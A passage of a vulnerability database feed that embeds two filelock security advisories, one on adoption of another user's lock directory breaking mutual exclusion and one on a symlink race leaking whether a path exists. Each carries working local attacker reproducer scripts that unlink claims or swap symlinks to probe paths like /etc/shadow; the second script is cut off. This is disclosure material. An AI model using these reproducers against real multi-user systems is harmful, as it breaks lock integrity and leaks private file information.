opened","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-69hj-f68j-2879"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112909"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/pull/835"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/e1e825b1992f69fb6b346dc395d5ae4893536c0a"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/4.2.1"}]},{"schema_version":"1.7.3","id":"BREW-apm-CVE-2026-112911","published":"2026-10-29T21:30:32Z","modified":"2026-11-14T08:38:10Z","upstream":["GHSA-9c4x-gm8v-wgc4","CVE-2026-112911"],"affected":[{"package":{"ecosystem":"Homebrew","name":"apm","purl":"pkg:brew/apm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.26.0"},{"fixed":"0.34.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.2.1","resource":"filelock","resource_purl":"pkg:pypi/filelock@4.2.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","subject_version":"4.2.10","key":"pkg:pypi/filelock@4.2.10","resource":"filelock"}]},"summary":"filelock: StrictSoftFileLock and SoftReadWriteLock adopt a protocol directory another user created first, losing mutual exclusion","details":"`StrictSoftFileLock`, `AsyncStrictSoftFileLock`, `SoftReadWriteLock` and `AsyncSoftReadWriteLock` keep their whole ownership state as files in a directory derived from the lock path (`<path>.filelock/claims`, `<path>.rw/{gen,holders}`). When that directory already exists they adopt it after checking only that it is a real directory, not who owns it. Another local user who can create names in the lock's directory can create the tree before the first acquire on that path by the user running the lock (below: the lock user). In `/tmp`, `/var/tmp` or another sticky shared directory any user can do that; the sticky bit is a directory flag that lets only a file's owner remove or rename it. The other user then owns the tree. They can unlink the lock user's claims while the lock user holds the lock, so a second process of the lock user, root included, enters the same critical section and neither process sees an error.\n\nAgainst `SoftReadWriteLock` the same position also admits two writers with `on_compromise` silent. It redirects the lock user's own creates and renames into a directory the other user picks (the scanner replaced a repository's `.git/HEAD` with a filelock record written with the lock user's privileges). It also keeps the lock user's acquire or release running past any `timeout`. Affected versions are filelock 3.30.0 through 4.2.0 (finding `ANT-2026-Q5VK5JEE`).\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H` scores 6.3 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:H` (high attack complexity): the other user must create the protocol directory before the lock user's first acquire on that path. That depends on the path being new, or on a reboot, a tmp cleaner or the documented `<path>.rw` recovery having removed its tree; once planted, the rest needs no race. `I:H` (high integrity impact): two holders write whatever the lock protects, and for `SoftReadWriteLock` the lock user's process creates, replaces or deletes files named `HEAD`, `epoch` and `0000000000000000000N` in any directory the lock user can write. `A:H` (high availability impact): the owner of `<path>.rw` can make the lock user's `read_lock(timeout=1)` spin at full CPU without end, cost 22 s per acquire, or pin 1 MiB of memory per planted file until a heartbeat thread dies of `MemoryError`. `C:N` (no confidentiality impact). `S:U` (scope unchanged).\n\nClassification from the review: **security, conditional** on the other user winning initial ownership of the protocol directory. The scanner rated it high (CWE-283). With `AC:L` the same impacts would score 7.1.\n\n## Scope and preconditions\n\n- The other user can create names in the directory that holds the lock. In a sticky `1777` directory such as `/tmp` any local user can. The sticky bit stops that user from renaming or removing a directory the lock user created, but does nothing for one the other user created first.\n- The other user gets there first: `<path>.filelock` (strict) or `<path>.rw` (soft read-write) must not exist when the lock user's process first acquires. `_strict.py` does not remove the directory at any point, so a path the lock user has already used stays safe for as long as the tree exists. The exposure is a new lock path, or one whose tree a reboot, a tmp cleaner, a cache purge or the recovery described in `docs/how-to.rst` removed.\n- For the strict lock the planted directory must be writable by the lock user (`0777`); a planted `0755` directory makes the lock user's acquire fail with `PermissionError` instead. Planting only the outer `<path>.filelock` is enough. The lock user creates `claims` inside it, and the other user, as owner of the parent, renames that `claims` aside and creates an empty one.\n- The Linux `fs.protected_regular`, `fs.protected_symlinks`, `fs.protected_hardlinks` and `fs.protected_fifos` sysctls (kernel settings, all enabled in the scanner's image) do not interfere. They cover regular files, symlinks, hard links and FIFOs, not directories. The `SoftReadWriteLock` symlink redirect below also passes `fs.protected_symlinks=1`, because the symlink (a file that points at another path) sits in the other user's own non-sticky directory.\n- The affected classes are `StrictSoftFileLock` and `AsyncStrictSoftFileLock` (which inherits `_acquire`), and `SoftReadWriteLock` and `AsyncSoftReadWriteLock` with default options. `FileLock` gives way to the same position (when the other user creates the lock file first with mode `0666` and unlinks it during a hold, a second lock user process acquires), so the strict lock is not weaker than the native one here. This advisory reports it because `StrictSoftFileLock` is the lock documented as fail-closed and already raises `SoftFileLockProtocolError` for a symlink or a regular file at the same names, while it uses a directory that belongs to someone else without any signal. The `SoftReadWriteLock` half has no such counterpart: its redirected creates, renames and unlinks land outside the lock's own files.\n- A non-sticky directory writable by other users is outside the boundary below. There anyone who can create the directory can also rename the lock user's own tree aside, and no check inside the lock can tell that from a first use.\n\nThese protections against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against.\n\n## Affected code\n\nAt the scanned commit b831496: [`_ensure_protocol_directory`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L996-L1006) returns for any existing real directory, whatever its owner or mode. [`StrictSoftFileLock._acquire`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L127-L128) calls it for both levels and does not look at directory ownership again. [`_attempt_doorway`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L179-L181) decides from the claim scan alone, and [`_unlink_owner_path_result`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L896-L900) counts a missing claim as removed on release. The sibling site is [`OsFiles.prepare`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L121-L133). Its `mkdir(mode=0o700)` takes effect only when it creates the directory, and its `lstat` check reads neither `st_uid` nor the permission bits. It runs once per instance, and every later `OsFiles` method takes a full path, with `O_NOFOLLOW` guarding only the last component.\n\n## Introduced\n\nThe strict site came with the claims protocol in 650c17c79c54 (\"feat(strict): replace shared markers with owner claims\", #659, 2026-07-14), first released in 3.30.0. The `SoftReadWriteLock` site came with the `<path>.rw` tree itself in f9743288a288 (\"fix(soft-rw): replace the state mutex with a generation log\", #738, 2026-09-17), first released in 4.0.0. Both match the git tags; the advisory range starts at the earlier one.\n\n## Mechanism\n\nThe owner of a directory can unlink and rename every entry in it, whatever the entries' own owner and mode. A strict hold consists of two names, `intent-v1-<token>.claim` and `held-v1-<token>.claim`, in `<path>.filelock/claims`. The sentinel (the lock file at `<path>`) is permanent and says nothing about who holds. When the other user runs the equivalent of `mkdir -m 777 -p work.lock.filelock/claims` before the lock user first uses `work.lock`, every lock user acquire publishes its claims into a directory the other user can empty. Lock user process A acquires and holds. The other user unlinks both of A's claims; both `unlink` calls succeed, because write permission on the directory is enough.\n\nLock user process B calls `acquire()` while A is inside its critical section. `_attempt_doorway` starts with `if _read_existing_claims(...): return False`, which turns a contender away while a holder exists, but the scan is now empty. B publishes its own intent and held claims, sees only those in the later rescans, and wins.\n\nA is not told. A strict holder does not look at its claims between acquire and release, and on release `_unlink_owner_path_result` takes the `FileNotFoundError` for each missing claim as \"already removed\", so `_release` finishes without error. The break involves neither a `lifetime` nor a lease, and neither `break_lock()` nor `force_break()`. The benign path shows what the check is missing. When the lock user's first acquire creates the directories itself they are `0755` and owned by the lock user (umask `022`). The other user's `unlink` then fails with `EACCES`, its `rename` or `rmdir` of `work.lock.filelock` fails with `EPERM` under the sticky bit, and B raises `Timeout`.\n\n`OsFiles.prepare` has the same gap for `SoftReadWriteLock`. The code suppresses `EEXIST` from `mkdir(mode=0o700)`, and the check that follows looks only at `S_ISDIR` and `S_ISLNK`. The class docstring's protection against \"same-host different-UID users via `0o600` / `0o700` permissions\" therefore holds only for whoever gets there first. With the other user owning `/tmp/app.lock.rw`, `gen` and `holders` before the lock user first uses `SoftReadWriteLock(\"/tmp/app.lock\")`, the scanner observed the following, with the same two accounts.\n\n**Creates and renames redirected through a symlink.** The other user's tree holds a generation log (the record of who holds the lock, under `gen/`) naming a live writer, so the lock user polls. Once the lock user's record appears in `holders/` (its `prepare()` is over), the other user renames `gen` aside and puts a symlink to `/home/victim/project/.git`, a repository inside a `0700` directory, in its place. The lock user's `write_lock()` returns without error. By then `GenerationLog.commit()` has created `epoch`, `00000000000000000001` and `00000000000000000002` in `.git` and renamed a record over `.git/HEAD`, which now reads `<epoch>\\nfilelock-rw/1\\ngeneration=2\\n`, owned by the lock user; `git status` answers `fatal: not a git repository`. With `holders` swapped instead, `Participant._sweep()` unlinks files with 32-hex-digit names in the target directory once they have stayed unchanged for `stale_threshold`. This needs no race: every later acquisition on an instance that has passed `prepare()` goes through the swapped `gen`.\n\n**Two writers, no `on_compromise`.** `OsFiles.read()` accepts any regular file, so the owner of `gen` writes snapshots itself. While lock user process V1 is inside `write_lock()`, the other user creates the next `gen/<N>` naming no holder, and V2's `write_lock(timeout=2)` succeeds at once. A further forged generation naming both tokens keeps both heartbeats answering `ok`, because `Participant.heartbeat()` tests only `self.token in latest.members`; `compromise` was still `None` in both after the default 30 s heartbeat. The other user reads no lock user record at any point: listing `gen/` and `holders/` gives the generation and the tokens.\n\n**Hangs, memory growth and bare `OSError`s.** The protocol code treats every record in `gen/` and `holders/` as written by a cooperating peer, so the tree's owner can do several things. They can make `Participant.leave()` retry a refused commit without end (`read_lock(timeout=1)` spins at full CPU instead of raising `Timeout`). They can keep `GenerationLog._probe()` walking by appending records ahead of it (3 s of writes kept `read_lock(timeout=1)` busy for about 60 s). They can make every `acquire_write(timeout=1)` and `release()` on a free lock take about 22 s with 200 000 generation names hard-linked into a sticky `gen/` (a hard link is a second name for the same file), which `_list()` and `_compact_through()` walk again on each poll because `OsFiles.unlink()` swallows the `EPERM`.\n\nThey can also pin 1 MiB of the lock user's memory per sparse file planted in `holders/`, because `Ledger.observe()` keeps every swept record whole (2 000 hard links to one 1 MiB file: 2 028 MiB resident when `acquire_write()` returns). Under an address-space limit the sweep raises `MemoryError` inside the heartbeat thread, which nothing handles, so the record is not refreshed again. After `stale_threshold` a second lock user process gets the write lock while the first still has `compromise` `None`. And they can make every acquire of a free lock raise a bare `OSError` with a mode-`000` orphan in `holders/` or a symlink at `gen/HEAD`. None of these is reachable in a tree the lock user created itself: it is `0700` at all three levels and the other user's writes fail with `EACCES`.\n\n## Reproduction\n\nThe scanner's reproducer for `ANT-2026-Q5VK5JEE`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport pwd\nimport subprocess\nimport sys\nimport tempfile\n\n# the companions are passed with -c, so victim and attacker need no read access to /tmp/repro.d\nvictim_worker = open(\"/tmp/repro.d/victim_worker.py\").read()\nattacker_plant_directory = open(\"/tmp/repro.d/attacker_plant_directory.py\").read()\nattacker_remove_claims = open(\"/tmp/repro.d/attacker_remove_claims.py\").read()\nas_victim = [\"runuser\", \"-u\", \"victim\", \"--\", sys.executable, \"-c\", victim_worker]\nas_attacker = [\"runuser\", \"-u\", \"attacker\", \"--\", sys.executable, \"-c\"]\n\n\ndef two_victims_contend_while_attacker_removes_claims(lock_path):\n    claims = f\"{lock_path}.filelock/claims\"\n    first = subprocess.Popen([*as_victim, lock_path], stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True)\n    first_lines = [first.stdout.readline().strip()]\n    claims_owner = pwd.getpwuid(os.stat(claims).st_uid).pw_name\n\n    removal = subprocess.run([*as_attacker, attacker_remove_claims, lock_path], check=True, capture_output=True, text=True)\n\n    # the first process has not been sent its line yet: it is still inside its critical section\n    second = subprocess.Popen([*as_victim, lock_path], stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True)\n    second_lines = [second.stdout.readline().strip()]\n\n    second_lines += second.communicate(\"\\n\")[0].split()\n    first_lines += first.communicate(\"\\n\")[0].split()\n    print(f\"  {claims} is owned by {claims_owner}\")\n    print(f\"  attacker, while the first victim process holds the lock: {'; '.join(removal.stdout.splitlines())}\")\n    print(f\"  first victim process: {first_lines}\")\n    print(f\"  second victim process, started while the first is inside: {second_lines}\")\n    return first_lines, second_lines\n\n\n# set up: a root-owned, sticky, world-writable directory, like /tmp itself\nshared = tempfile.mkdtemp(prefix=\"shared-\", dir=\"/tmp\")\nos.chmod(shared, 0o1777)\n\n# control: the victim's first acquire creates control.lock.filelock/claims itself\nprint(\"CONTROL  victim creates the protocol directories\")\n_, control_second = two_victims_contend_while_attacker_removes_claims(f\"{shared}/control.lock\")\n\n# attack: the attacker creates work.lock.filelock/claims before the victim first uses work.lock\nprint(\"OBSERVED attacker creates the protocol directories first\")\nsubprocess.run([*as_attacker, attacker_plant_directory, f\"{shared}/work.lock\"], check=True)\nfirst, second = two_victims_contend_while_attacker_removes_claims(f\"{shared}/work.lock\")\n\n# check: the second process must be kept out while the first is inside, as it is in the control round\ninside_and_released_cleanly = [\"acquired\", \"is_locked=True\", \"released\"]\ncontrol_excludes = control_second == [\"Timeout\"]\nboth_inside = first == second == inside_and_released_cleanly\nprint(f\"control_excludes={control_excludes} both_inside={both_inside}\")\nprint(\"BUG\" if control_excludes and both_inside else \"OK\")\n```\n\n**`repro.d/attacker_plant_directory.py`**\n\n```python\nimport os\nimport sys\n\nos.umask(0)  # 0777: the victim must be able to publish its claims inside\nos.makedirs(f\"{sys.argv[1]}.filelock/claims\")\n```\n\n**`repro.d/attacker_remove_claims.py`**\n\n```python\nimport os\nimport sys\n\nclaims = f\"{sys.argv[1]}.filelock/claims\"\nfor name in sorted(os.listdir(claims)):\n    try:\n        os.unlink(f\"{claims}/{name}\")\n        print(f\"removed {name}\")\n    except PermissionError as error:\n        print(f\"cannot remove {name}: {error.strerror}\")\n```\n\n**`repro.d/victim_worker.py`**\n\n```python\nimport sys\n\nfrom filelock import SoftFileLockProtocolError, StrictSoftFileLock, Timeout\n\nlock = StrictSoftFileLock(sys.argv[1], timeout=1)\ntry:\n    lock.acquire()\nexcept (Timeout, SoftFileLockProtocolError) as error:\n    print(type(error).__name__, flush=True)\n    sys.exit()\nprint(\"acquired\", flush=True)\n\nsys.stdin.readline()  # the critical section: it lasts until the parent sends a line\n\nprint(f\"is_locked={lock.is_locked}\", flush=True)\nlock.release()\nprint(\"released\", flush=True)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant X as other account (uid attacker)\n    participant D as work.lock.filelock/claims (sticky /tmp)\n    participant A as holder A (uid victim)\n    participant B as contender B (uid victim)\n    rect rgb(255, 214, 214)\n        X->>D: mkdir -m 777 -p, before the lock user's first use\n        A->>D: acquire(): directory exists, is a directory, adopted\n        A->>D: publish intent-v1-<token>.claim and held-v1-<token>.claim\n        X->>D: unlink both claims (owner of the directory may)\n        B->>D: acquire(): scan finds no claims, publishes its own, wins\n        Note over A,B: both inside, is_locked True in both\n        A->>D: release(): claims missing, counted as removed, no error\n    end\n    Note over A,D: control: directory created by the lock user is 0755, the other account's unlink gets EACCES, B raises Timeout\n```\n\n## Evidence\n\nThe scanner's reproducer (`victim` uid 1000, `attacker` uid 1001, lock `work.lock` in a root-owned `1777` directory under `/tmp`, `StrictSoftFileLock(path, timeout=1)`, Linux 6.1, CPython 3.14.8, overlayfs) runs the same contention twice. In the control round on `control.lock`, whose directories `victim` creates, it prints `claims is owned by victim`, the unlinks by `attacker` answer `Permission denied`, the first process prints `['acquired', 'is_locked=True', 'released']` and the second `['Timeout']`. In the observed round on `work.lock`, planted by `attacker`, it prints `claims is owned by attacker` and `removed held-v1-….claim; removed intent-v1-….claim`, and both processes print `['acquired', 'is_locked=True', 'released']`, the second having acquired before the first was let out. The verdict line reads `control_excludes=True both_inside=True` and then `BUG` after about 2 s. The scanner ran the variant that plants only the outer `<path>.filelock` (then renames the `claims` of `victim` aside) by hand with the same result, and each `SoftReadWriteLock` effect listed under Mechanism in its own run with the same two accounts.\n\nOur review ran the reproducer against the 4.2.0 release image and the scanned commit (`BUG` on both) and against the head of #839 (`OK`). The review's regression tests for both sites need a sticky `/tmp` of another UID and ran there.\n\n## Impact\n\nAnother local user who can create names in the lock's directory puts two processes of the lock user, root included, into the same `StrictSoftFileLock` critical section at a moment of the other user's choosing, with no exception or other signal to either. Two processes then modify whatever the lock protects at the same time.\n\nAgainst `SoftReadWriteLock` the same position decides when two writers, or a writer and readers, are inside together and keeps `compromise` silent in all of them. It also gets file operations made with the lock user's privileges (root's, for a root service) in any directory the lock user can write: a file named `HEAD` replaced, files named `epoch` and `0000000000000000000N` created, files with 32-hex-digit names deleted. The bytes written are filelock's own records, not content the other user chooses. It can keep the lock user's acquire or release running past any `timeout`, or grow the lock user's memory by 1 MiB per planted file. It is **not** a disclosure of the lock user's data, and it does not reach a path the lock user has already used while that tree still exists.\n\n## Workarounds\n\nKeep strict and soft read-write locks in a directory other users cannot write, rather than `/tmp` or another sticky shared directory. Where a shared directory is unavoidable, create `<path>.filelock/claims` (or `<path>.rw` with `gen` and `holders`) as the service user before any other account can, for example at install or boot, and check `stat -c %U` of an existing tree before the first use. A tmp cleaner, a reboot or the `<path>.rw` recovery removes the tree and reopens the window. The kernel refuses a planted `0755` strict tree (the lock user's acquire fails with `PermissionError`), so an acquire that raises that error on a new path without a known cause is worth investigating.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/839\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-Q5VK5JEE`, scanned commit b831496b0273)\n- 2026-10-16 00:46 UTC: draft advisory; later narrowed to this finding, with `ANT-2026-AD6SUOON`, `ANT-2026-SVFEYX89`, `ANT-2026-M9OPCLPB` and `ANT-2026-6BC3LKF9` moved to advisories of their own\n- 2026-10-16 01:31 UTC: fix PR #839 opened","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-9c4x-gm8v-wgc4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112911"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/pull/839"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/bfa066d65a1ba9106f86ee9d027f7588b9c77e03"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/4.2.1"}]},{"schema_version":"1.7.3","id":"BREW-apm-CVE-2026-112912","published":"2026-10-29T21:30:32Z","modified":"2026-11-14T08:38:10Z","upstream":["GHSA-9j6q-wvj5-jgjg","CVE-2026-112912"],"affected":[{"package":{"ecosystem":"Homebrew","name":"apm","purl":"pkg:brew/apm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.31.0"},{"fixed":"0.34.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.2.1","resource":"filelock","resource_purl":"pkg:pypi/filelock@4.2.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","subject_version":"4.2.10","key":"pkg:pypi/filelock@4.2.10","resource":"filelock"}]},"summary":"filelock: Symlink swap during SoftFileLock's writability check leaks whether a path exists and is writable by the lock taker","details":"`raise_on_not_writable_file()` is the check that `SoftFileLock` and the locks sharing its acquire path run before every attempt. It looks at the lock path with `os.lstat`, so that it judges a planted symlink (a file that points at another path) by itself. When the node has no owner-write bit, it then calls `os.access(filename, os.W_OK)`, which follows symlinks. A local user who can create entries in the lock's directory can swap the path between a mode-`0466` file and a symlink to a path of their choosing. The second call then reports on the symlink's target with the permissions of the user running the lock (below: the lock user). The lock user's `acquire()` ends in `PermissionError` within a fraction of a second when the target is missing or not writable by the lock user, and in the ordinary `Timeout` otherwise.\n\nThat yields one bit per watched acquire. The bit says whether a path exists and is writable by the lock taker. It covers paths under directories the other user cannot search, or any path when root takes the lock. The lock does not open, create or modify anything through the symlink. On Linux, `fs.protected_symlinks` (a kernel setting that refuses to follow another user's symlink in a sticky world-writable directory) blocks it in a directory such as `/tmp`. It does not block it in a `0777` directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it) or in a sticky group-writable one. This reopens the leak PR #567 closed. Affected versions are filelock 3.32.6 through 4.2.0.\n\nAnthropic's OSS Scanner reported this in private. Finding covered by this advisory:\n\n- `ANT-2026-RQ91AXTW` [medium, CWE-59]: Symlink TOCTOU in raise_on_not_writable_file leaks file existence.\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N` scores 2.5 (Low).**\n\n`AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:H` (high attack complexity): the swap has to land between two system calls a few bytecodes apart (6 to 12 % of back-to-back acquires with the other user on a second CPU, 1 in 8 000 on one CPU), and the other user has to observe how the lock user's acquire ended. `C:L` (partial confidentiality impact): one bit per acquire (existence or writability of a chosen path), no content. `I:N` and `A:N` (no integrity or availability impact). `S:U` (scope unchanged).\n\nClassification from the review: **security, conditional**, \"a one-bit probe of a victim-only path\" that \"Linux protected symlinks block in the common sticky `/tmp` case, but not every shared directory\". The scanner rated this medium. The maintainers score it low for the complexity and the one-bit yield.\n\n## Scope and preconditions\n\n- The affected classes are `SoftFileLock` and everything that reuses its `_acquire`: `MarkerSoftFileLock`, `SoftFileLease`, the async soft locks, and `FileLock` after an `ENOSYS` fallback to a soft lock. `UnixFileLock` itself does not call the helper. `WindowsFileLock._acquire()` does, but on Windows `os.access` reads the link's own read-only attribute and does not follow it; that branch did not run.\n- The other user must be able to create entries in the lock's directory. With Linux defaults (`fs.protected_symlinks=1`) the kernel refuses the lock user's attempt to follow another user's symlink in a directory that is both sticky and world-writable. `/tmp` therefore gives `PermissionError` for every target and leaks nothing. A `0777` directory without the sticky bit, or a sticky group-writable one (`1770` with a shared group), has no such cover and leaks as described. macOS and the BSDs have no `fs.protected_symlinks`, and a symlink there has mode bits of its own, so one without the owner-write bit would reach `os.access` with no swap at all (not executed).\n- The swap is practical only with a second CPU for the other user.\n- The other user needs to see how the lock user's acquire ended, for example the exception in a shared log, an exit status, or when the job stopped (`PermissionError` ends a blocking acquire within about a second; the other case runs to its timeout). The scanner also observed a variant that needs no output from the lock user. Hold the soft lock, set the marker (the lock file whose presence says a process holds the lock) to mode `0o066`, swap the symlink in and out for a few seconds, release, and see whether a marker owned by the other uid appears. A contender still waiting takes the lock; one that raised is gone.\n- The `O_NOFOLLOW` open that follows the check is not affected. The lock does not read, create or modify anything through the symlink.\n\n## Affected code\n\nScanned commit `b831496b0273`: in `raise_on_not_writable_file`, the [`os.lstat` that states the invariant](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L46-L50) and the [`os.access` call that follows symlinks](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L63-L71); the [call from `SoftFileLock._acquire`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L63) at the start of every poll.\n\n## Introduced\n\n[f2f7b86](https://github.com/tox-dev/filelock/commit/f2f7b8696426) \"fix: respect ACL write access when the owner write bit is absent\" ([#728](https://github.com/tox-dev/filelock/pull/728), 2026-09-08), first tag 3.32.6 (verified), appended the `os.access` call to the `not S_IWUSR` test. [#567](https://github.com/tox-dev/filelock/pull/567) (022394c, first tag 3.29.5) had changed the helper from `os.stat` to `os.lstat` so that a symlink planted at the lock path could not probe its target.\n\n## Mechanism\n\n`SoftFileLock._acquire` calls the helper first, once per `poll_interval` (0.05 s by default) for as long as the lock user waits. The helper runs `os.lstat(path)`. When the node has no `S_IWUSR` it runs `os.access(path, os.W_OK, effective_ids=...)` without `follow_symlinks=False`. On current Linux that is `faccessat2(AT_FDCWD, path, W_OK, AT_EACCESS)`, which resolves a symlink. If that returns false, a second `os.lstat` confirms a node is still there and the helper raises `PermissionError`. The other user's planted file has mode `0466`: no owner-write bit, which sends the helper on to `os.access`, and other-writable, so that `os.access` on the file itself says yes. The other user alternates the file and a symlink at the path (`os.replace` of a fresh symlink, then `os.replace` of a hard link to the marker; the lock would evict a symlink left for 2 s as a malformed marker).\n\nOne call of the helper then goes one of three ways. First, `lstat` sees the symlink (mode `0777` on Linux, `S_IWUSR` set), `os.access` is not called, the helper returns. Second, `lstat` sees the file and `os.access` sees the file: true, returns. Third, `lstat` sees the file and `os.access` sees the symlink, resolved to its target with the lock user's permissions: returns if the lock user may write the target, otherwise raises `PermissionError`. After a return, the `O_CREAT | O_EXCL | O_NOFOLLOW` open fails with `EEXIST` and the poll ends as \"lock is held\". `PermissionError` therefore comes only from the third way and only for a target the lock user cannot write, and it leaves `acquire()` at once instead of after the timeout.\n\nThe scanner measured what the outcome encodes with 4 000 non-blocking acquires per target as `victim` (uid 1000, `0700` private directory). An existing file or directory of `victim`: 0 `PermissionError`. A missing name there gives 311 to 339. A `0444` file of `victim`: 433 to 460. `/etc/passwd` or `/etc/shadow`: 237 to 422. With root taking the lock the answer is plain existence, 0 for `/etc/shadow` and `/root/.bashrc`, 366 for a missing name under `/root`. A symlink alone at the path, without the swap, tells nothing (2 000 `Timeout` of 2 000 for both targets, then evicted as malformed after 2 s).\n\n## Reproduction\n\nThe scanner's reproducer for `ANT-2026-RQ91AXTW`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport time\n\nVICTIM_JOB = \"/tmp/repro.d/victim_job.py\"\nATTACKER = \"/tmp/repro.d/attacker_swaps_lock_path.py\"\nprivate_dir = \"/tmp/victim-private\"\nshared_dir = \"/tmp/team-locks\"\nlock_path = shared_dir + \"/app.lock\"\nas_victim = dict(user=\"victim\", group=\"victim\", extra_groups=[])\nas_attacker = dict(user=\"attacker\", group=\"attacker\", extra_groups=[])\n\nassert len(os.sched_getaffinity(0)) >= 2, \"the attacker's swap needs a CPU of its own\"\n\n# set up: victim's 0700 directory holds \"present\" and no \"absent\"\nshutil.rmtree(private_dir, ignore_errors=True)\nos.mkdir(private_dir, 0o700)\nopen(private_dir + \"/present\", \"w\").close()\nshutil.chown(private_dir + \"/present\", \"victim\", \"victim\")\nshutil.chown(private_dir, \"victim\", \"victim\")\n\njob_ended_with = {}\nfor name in (\"present\", \"absent\"):\n    probed_path = f\"{private_dir}/{name}\"\n    attackers_stat = subprocess.run([\"stat\", probed_path], capture_output=True, text=True, **as_attacker)\n    assert attackers_stat.returncode != 0, \"attacker can stat the probed path directly\"\n    print(f\"CONTROL  attacker's own look: {attackers_stat.stderr.strip()}\")\n\n    # 0777 without the sticky bit: fs.protected_symlinks does not cover it\n    shutil.rmtree(shared_dir, ignore_errors=True)\n    os.mkdir(shared_dir)\n    os.chmod(shared_dir, 0o777)\n\n    # attack: the lock path keeps alternating between a held marker and a symlink to probed_path\n    attacker = subprocess.Popen([sys.executable, ATTACKER, lock_path, probed_path], **as_attacker)\n    deadline = time.monotonic() + 10\n    while not os.path.lexists(lock_path):\n        assert time.monotonic() < deadline, \"attacker did not plant the lock path\"\n        time.sleep(0.01)\n\n    started = time.monotonic()\n    job = subprocess.run([sys.executable, VICTIM_JOB, lock_path], capture_output=True, text=True, **as_victim)\n    waited = time.monotonic() - started\n    attacker.kill()\n    attacker.wait()\n\n    job_ended_with[name] = (job.stderr or job.stdout).strip().splitlines()[-1]  # last line of the traceback\n    print(f\"OBSERVED {probed_path} exists={os.path.exists(probed_path)} (read as root); \"\n          f\"victim's job ended after {waited:.1f} s with: {job_ended_with[name]}\")\n\n# check: a lock that ignores the symlink's target ends both jobs in Timeout; here the ending tells the two apart\ntimeout_where_present = job_ended_with[\"present\"].startswith(\"filelock._error.Timeout:\")\npermission_error_where_absent = job_ended_with[\"absent\"].startswith(\"PermissionError:\")\nprint(\"BUG\" if timeout_where_present and permission_error_where_absent else \"OK\")\n```\n\n**`repro.d/attacker_swaps_lock_path.py`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport sys\nimport time\n\nlock_path, probed_path = sys.argv[1], sys.argv[2]\nheld_marker = lock_path + \".held\"\nstaged = lock_path + \".staged\"\n\nwith open(held_marker, \"w\") as marker:\n    marker.write(\"1\\nanother-host\\n\")  # pid 1 on another host: never judged stale, so the victim keeps polling\n# no u+w sends raise_on_not_writable_file() on to os.access(); o+w makes os.access() pass for this file itself\nos.chmod(held_marker, 0o466)\n\ngive_up_at = time.monotonic() + 60\nwhile time.monotonic() < give_up_at:\n    # a fresh symlink each round: one left unchanged for 2 s is evicted as a malformed marker\n    os.symlink(probed_path, staged)\n    